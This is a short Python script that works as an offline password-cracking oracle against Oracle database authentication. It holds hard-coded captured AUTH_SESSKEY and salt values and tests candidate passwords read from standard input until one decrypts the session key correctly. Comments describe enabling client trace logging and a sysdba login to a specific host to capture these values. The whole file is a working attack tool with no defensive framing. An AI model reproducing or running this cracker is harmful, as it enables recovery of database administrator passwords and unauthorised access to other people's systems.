oracle.py

import binascii
import hashlib
from Crypto.Cipher import AES
import sys

# src: http://permalink.gmane.org/gmane.comp.security.openwall.john.user/5628

# cat ~/.sqlnet.ora
# TRACE_DIRECTORY_CLIENT = /tmp
# TRACE_FILE_CLIENT = HoustonWeHaveAProblem
# TRACE_LEVEL_CLIENT = SUPPORT
# ./sqlplus sys/password@//192.168.2.253:1521/orcl as sysdba

test = False
if test:
    AUTH_SESSKEY="566499330E8896301A1D2711EFB59E756D41AF7A550488D82FE7C8A418E5BE08B4052C0DC404A805C1D7D43FE3350873"
    AUTH_VFR_DATA="4F739806EBC1D7742BC6"
else:
    AUTH_SESSKEY="A10D52C1A432B61834F4B0D9592F55BD0DA2B440AEEE1858515A646683240D24A61F0C9366C63E93D629292B7891F44A"
    AUTH_VFR_DATA="878C0B92D61A594F2680"
salt = binascii.unhexlify(AUTH_VFR_DATA)
def test(attempt):
    h = hashlib.sha1(attempt + salt).digest()
    key = h + "\x00\x00\x00\x00"
    ct = binascii.unhexlify(AUTH_SESSKEY)
    iv = "\x00" * 16
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = cipher.decrypt(ct)
    if pt.endswith("\x08\x08\x08\x08\x08\x08\x08\x08"):
        print "YAY!", attempt
        return True
    return False
    #print binascii.hexlify(pt)

if __name__ == '__main__':
    succ = False
    while not succ:
        attempt = raw_input()
        #print "testing %s" % repr(attempt)
        succ = test(attempt)

# salt = binascii.unhexlify("7FD52BC80AA5836695D4")
# h = hashlib.sha1("test1" + salt).hexdigest()